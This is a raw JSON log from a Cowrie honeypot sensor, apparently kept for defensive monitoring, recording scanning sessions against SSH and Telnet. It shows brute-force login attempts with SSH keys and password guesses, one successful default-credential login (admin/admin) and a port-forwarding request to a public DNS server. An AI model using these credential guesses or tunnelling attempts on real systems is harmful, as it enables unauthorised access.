{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:7f:16:c5:64:68:ba:4d:e6:7e:f7:9e:8e:2e:2c:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1vWVWbFFCZB2H3upkQcbWgDSHUGZ7LyG1mB2FsJIjqqcBqjU9uGKBx/hWE7DTfZhVh2+rH9CT3/95RV86DurkEXSLC6LFAMQHcAnQdS5cRYBFWNH49aOSrvmS5qiSFrWlv8kVcqMri9a4Xqar9UkwuCHJHMVM72tIZ4EYQ0ZIZwGbdCKTljVtcAx1jI+ol6rtJ0mEhXu4IaphUljybAgCnh5wwbuh0+2Dvkx1MNfYdYeijxMLV0w8U2Q9h688+wxMjNTGfPUVHLnFuYQH5IIeqAy5N8L4ZmL+WLbbieL9lyiCelcKLtTLejFNIQOjPiz1Ew0SifsoDZhYPsdBH32x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:49.942430Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:9e:6c:32:d1:1e:1c:f3:99:dd:f0:20:81:4f:1d:3c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKLJo+My6Mhl3JarD3YW2KNNNj1Db9tc/6g8Cxzj39OqN199FvKyaGYIq+QZS1jx9ghcjoeUbSoOyJ6orgMID7Um/9mEs/XPv9k+nuYRDDrDl32cYUHJ8pQy13mVAwcQRXSjFCJfdKQn2+8nUs/Mebw8bk7pIIT0F/K4vNKTJcJdAAAAFQCIzhm3GzxkIP2rqkRhMCUVIBR7dwAAAIAta8+I2AQy3HtAO5+7SBCRJtaWBvi2qucUB+xoemQ6j3ZJE1F4riPN8OSfrWtgh69j2V96r2DqItD9wgwjRhmYn/PjjDDUisdNYOzVfiLU57ZLmTBzOT1Szo3ZqlU2Vadni+B0x1IFGR+TFjwvv8DBWCV3Lhu9flggoShmUJDeRAAAAIBgYwwBGI62PjVtonNjCoxxesXElQChhszU4Z97KmrqJ+qwXNI7dwrvzdWiFxklh3QaViONEgTGgaWECpQscOwfzgFjgY0u9Cc0hBHezas8pmswN0TmV3ilb4krCDqT/teqETv1MU/0Ab6Rz+BFE/NIUxLpzSAgr8DNqv8yx45rdA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8f:9e:6c:32:d1:1e:1c:f3:99:dd:f0:20:81:4f:1d:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:49.971267Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:9e:6c:32:d1:1e:1c:f3:99:dd:f0:20:81:4f:1d:3c","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKLJo+My6Mhl3JarD3YW2KNNNj1Db9tc/6g8Cxzj39OqN199FvKyaGYIq+QZS1jx9ghcjoeUbSoOyJ6orgMID7Um/9mEs/XPv9k+nuYRDDrDl32cYUHJ8pQy13mVAwcQRXSjFCJfdKQn2+8nUs/Mebw8bk7pIIT0F/K4vNKTJcJdAAAAFQCIzhm3GzxkIP2rqkRhMCUVIBR7dwAAAIAta8+I2AQy3HtAO5+7SBCRJtaWBvi2qucUB+xoemQ6j3ZJE1F4riPN8OSfrWtgh69j2V96r2DqItD9wgwjRhmYn/PjjDDUisdNYOzVfiLU57ZLmTBzOT1Szo3ZqlU2Vadni+B0x1IFGR+TFjwvv8DBWCV3Lhu9flggoShmUJDeRAAAAIBgYwwBGI62PjVtonNjCoxxesXElQChhszU4Z97KmrqJ+qwXNI7dwrvzdWiFxklh3QaViONEgTGgaWECpQscOwfzgFjgY0u9Cc0hBHezas8pmswN0TmV3ilb4krCDqT/teqETv1MU/0Ab6Rz+BFE/NIUxLpzSAgr8DNqv8yx45rdA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:49.975807Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:52:03:ed:fe:15:a8:0f:3f:69:05:cb:42:60:b7:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9TJXwAt9jBQ2fWR04JAX/ucwP86wduEHK0kBi6F9pAwjs/TJHKgTnAPGpn3uu3mE3I38id10ndsFVg5aGpMdWZheVM5Jffy0aXjtvlWB1zKf144CoIF1lvpGy7lQ2BgGIVwkc9vgoFt8LitbP3wpm5hgI8ECN3MxcwtPYnDrnzz+QmF5r3QZJZadHhG1MAmf+8Ea/P5ScIWm9fp8GCKvoxnepkoCd7lm+2g6MjTYOdLUUEHoLdnzO/SXx01D4FyIq9j9aqYGxN0qBxMCdx2jMHcerhoxoxZQ7JpatdpHbZlpnCk7WpImVQVqHh7c52m+j1/xd0TdHMgu7nH3e0ItiGp8shXIqyBlNdfIZBAQUqZB1OHGxEDJ1uz6b8puTN6UnjoFYyY8HcEfT9UuA2SAeA7nQtnf6PtSVjAfdS9IUVsXhyosaaHx7+sBdpgmCtEz5vL1ba9qxxi/xj6ssulHbtIaVU+Ogsm4gf0sEpi2u0cECY5d34SiLfjiMjaDw+amk+KZPftiwTj4eiO0uy7pIN7PK7lgYIrPidtRSGRoKKlNMzdXjeP0iL0IuyV/M4+mHueaK5gAnLJ2wTW/hj4jFBR6d7gqfl2NIM7afEFlISRouZ72TWTgL4WNc7Ir0tkSThr52rj9cJ/t5pcfkjh25JPYP0RPe49LA2hbFIZo20Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:52:03:ed:fe:15:a8:0f:3f:69:05:cb:42:60:b7:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:50.004013Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:52:03:ed:fe:15:a8:0f:3f:69:05:cb:42:60:b7:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC9TJXwAt9jBQ2fWR04JAX/ucwP86wduEHK0kBi6F9pAwjs/TJHKgTnAPGpn3uu3mE3I38id10ndsFVg5aGpMdWZheVM5Jffy0aXjtvlWB1zKf144CoIF1lvpGy7lQ2BgGIVwkc9vgoFt8LitbP3wpm5hgI8ECN3MxcwtPYnDrnzz+QmF5r3QZJZadHhG1MAmf+8Ea/P5ScIWm9fp8GCKvoxnepkoCd7lm+2g6MjTYOdLUUEHoLdnzO/SXx01D4FyIq9j9aqYGxN0qBxMCdx2jMHcerhoxoxZQ7JpatdpHbZlpnCk7WpImVQVqHh7c52m+j1/xd0TdHMgu7nH3e0ItiGp8shXIqyBlNdfIZBAQUqZB1OHGxEDJ1uz6b8puTN6UnjoFYyY8HcEfT9UuA2SAeA7nQtnf6PtSVjAfdS9IUVsXhyosaaHx7+sBdpgmCtEz5vL1ba9qxxi/xj6ssulHbtIaVU+Ogsm4gf0sEpi2u0cECY5d34SiLfjiMjaDw+amk+KZPftiwTj4eiO0uy7pIN7PK7lgYIrPidtRSGRoKKlNMzdXjeP0iL0IuyV/M4+mHueaK5gAnLJ2wTW/hj4jFBR6d7gqfl2NIM7afEFlISRouZ72TWTgL4WNc7Ir0tkSThr52rj9cJ/t5pcfkjh25JPYP0RPe49LA2hbFIZo20Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:50.008138Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:87:3b:c1:d1:ab:e4:51:ea:b6:2b:f4:e8:f7:8c:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZIFJwrQ/lcohPNsnlo/3jyAOo7fk2CV1PbF8ODpubZlWFm1xh3SKL3lBFEPzFTrUuA7bK07P3BQPLRQyUuCsksbyqrsIW6KwSGdR2q8F9tgqEBnCOLuhuXP67hn63aKe7REd42LtcA/19oXG2RgSuWTnI8gn4OT/qiEG9QYTWoykIe5PvVbWPlrY+b7JTLJdS73bXagUL9sEeY5rdDnOsCztcq9W+PzcSexF7hjvewxpu6ZwT4NKkyuFLpHRFdcIqNdyZ2GBbFB9mJCrbrvZUSxM3jK0L8X18T2DGBO8/1dPnaA5MmN/UOyhgNklMIWAljN68dm/jqgmpk4y37pklP/MSQU/Q3cYTcx2C1YIp8hJLE59VzlAwcpI2eNT63AMk6B/6UqI24cSTCy47Nrk7oPr97Lym9N25w1aAVtNi0q85EqGFzd15dSK4AOaQTRJ08+pLaH/ML9eQb9+DQRvnCFmVqJEPOp/LB3/1UOXO78T29xtTBpq/ra9ePEVx64E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:87:3b:c1:d1:ab:e4:51:ea:b6:2b:f4:e8:f7:8c:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:50.039033Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:87:3b:c1:d1:ab:e4:51:ea:b6:2b:f4:e8:f7:8c:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZIFJwrQ/lcohPNsnlo/3jyAOo7fk2CV1PbF8ODpubZlWFm1xh3SKL3lBFEPzFTrUuA7bK07P3BQPLRQyUuCsksbyqrsIW6KwSGdR2q8F9tgqEBnCOLuhuXP67hn63aKe7REd42LtcA/19oXG2RgSuWTnI8gn4OT/qiEG9QYTWoykIe5PvVbWPlrY+b7JTLJdS73bXagUL9sEeY5rdDnOsCztcq9W+PzcSexF7hjvewxpu6ZwT4NKkyuFLpHRFdcIqNdyZ2GBbFB9mJCrbrvZUSxM3jK0L8X18T2DGBO8/1dPnaA5MmN/UOyhgNklMIWAljN68dm/jqgmpk4y37pklP/MSQU/Q3cYTcx2C1YIp8hJLE59VzlAwcpI2eNT63AMk6B/6UqI24cSTCy47Nrk7oPr97Lym9N25w1aAVtNi0q85EqGFzd15dSK4AOaQTRJ08+pLaH/ML9eQb9+DQRvnCFmVqJEPOp/LB3/1UOXO78T29xtTBpq/ra9ePEVx64E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:50.043907Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:48:50.074223Z","src_ip":"154.16.115.17","session":"4b0befa75baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":111.27488255500793,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:49:09.144565Z","src_ip":"152.42.224.71","session":"36eabe43a58a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"55e48cdeaa5e","protocol":"telnet","message":"New connection: 152.42.224.71:43392 (10.17.0.5:23) [session: 55e48cdeaa5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:49:38.344583Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44986,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1b5f9deb415","protocol":"telnet","message":"New connection: 152.42.224.71:44986 (10.17.0.5:23) [session: d1b5f9deb415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:49:46.449035Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44988,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d6370f5c781","protocol":"telnet","message":"New connection: 152.42.224.71:44988 (10.17.0.5:23) [session: 4d6370f5c781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:49:47.465341Z"}
{"eventid":"cowrie.session.closed","duration":15.181928157806396,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:50:02.647182Z","src_ip":"152.42.224.71","session":"4d6370f5c781","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.527530670166016,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:50:04.871982Z","src_ip":"152.42.224.71","session":"55e48cdeaa5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.577500104904175,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:50:34.025058Z","src_ip":"152.42.224.71","session":"d1b5f9deb415","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46264,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf12f73222c3","protocol":"telnet","message":"New connection: 152.42.224.71:46264 (10.17.0.5:23) [session: bf12f73222c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:51:38.965820Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48616,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff64928216f3","protocol":"telnet","message":"New connection: 152.42.224.71:48616 (10.17.0.5:23) [session: ff64928216f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:51:47.294923Z"}
{"eventid":"cowrie.session.closed","duration":28.429494380950928,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:07.395176Z","src_ip":"152.42.224.71","session":"bf12f73222c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":45254,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbeaee5cf799","protocol":"ssh","message":"New connection: 103.173.227.57:45254 (159.203.135.109:22) [session: dbeaee5cf799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:20.602084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:20.607560Z","src_ip":"103.173.227.57","session":"dbeaee5cf799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:20.854547Z","src_ip":"103.173.227.57","session":"dbeaee5cf799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warface123","message":"login attempt [root/warface123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:21.591968Z","src_ip":"103.173.227.57","session":"dbeaee5cf799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:22.840213Z","src_ip":"103.173.227.57","session":"dbeaee5cf799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.108.218.180","src_port":53449,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec1b1ac9b5ca","protocol":"ssh","message":"New connection: 78.108.218.180:53449 (10.17.0.5:22) [session: ec1b1ac9b5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:42.472694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:42.477085Z","src_ip":"78.108.218.180","session":"ec1b1ac9b5ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:42.488447Z","src_ip":"78.108.218.180","session":"ec1b1ac9b5ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:42.503662Z","src_ip":"78.108.218.180","session":"ec1b1ac9b5ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37568,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c821daa5b6","protocol":"telnet","message":"New connection: 152.42.224.71:37568 (10.17.0.5:23) [session: e8c821daa5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:52:52.990160Z"}
{"eventid":"cowrie.session.closed","duration":88.8559353351593,"message":"Connection lost after 88 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:53:16.150740Z","src_ip":"152.42.224.71","session":"ff64928216f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.70889854431152,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:53:34.698982Z","src_ip":"152.42.224.71","session":"e8c821daa5b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48770,"dst_ip":"10.17.0.5","dst_port":23,"session":"7736a1069059","protocol":"telnet","message":"New connection: 152.42.224.71:48770 (10.17.0.5:23) [session: 7736a1069059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:53:38.394578Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35488,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f4259cd9b08","protocol":"ssh","message":"New connection: 87.251.64.176:35488 (10.17.0.5:22) [session: 6f4259cd9b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:01.091422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:01.123780Z","src_ip":"87.251.64.176","session":"6f4259cd9b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:01.190696Z","src_ip":"87.251.64.176","session":"6f4259cd9b08","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:01.616216Z","src_ip":"87.251.64.176","session":"6f4259cd9b08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:01.747209Z","session":"6f4259cd9b08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:01.847648Z","src_ip":"87.251.64.176","session":"6f4259cd9b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:01.972854Z","src_ip":"87.251.64.176","session":"6f4259cd9b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44586,"dst_ip":"10.17.0.5","dst_port":23,"session":"be592fc546bf","protocol":"telnet","message":"New connection: 152.42.224.71:44586 (10.17.0.5:23) [session: be592fc546bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:15.254053Z"}
{"eventid":"cowrie.session.closed","duration":36.95236396789551,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:15.346831Z","src_ip":"152.42.224.71","session":"7736a1069059","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":59234,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8b70cf314d2","protocol":"telnet","message":"New connection: 213.108.3.46:59234 (10.17.0.5:23) [session: f8b70cf314d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:21.388277Z"}
{"eventid":"cowrie.session.closed","duration":0.017727375030517578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:54:21.405849Z","src_ip":"213.108.3.46","session":"f8b70cf314d2","protocol":"telnet"}
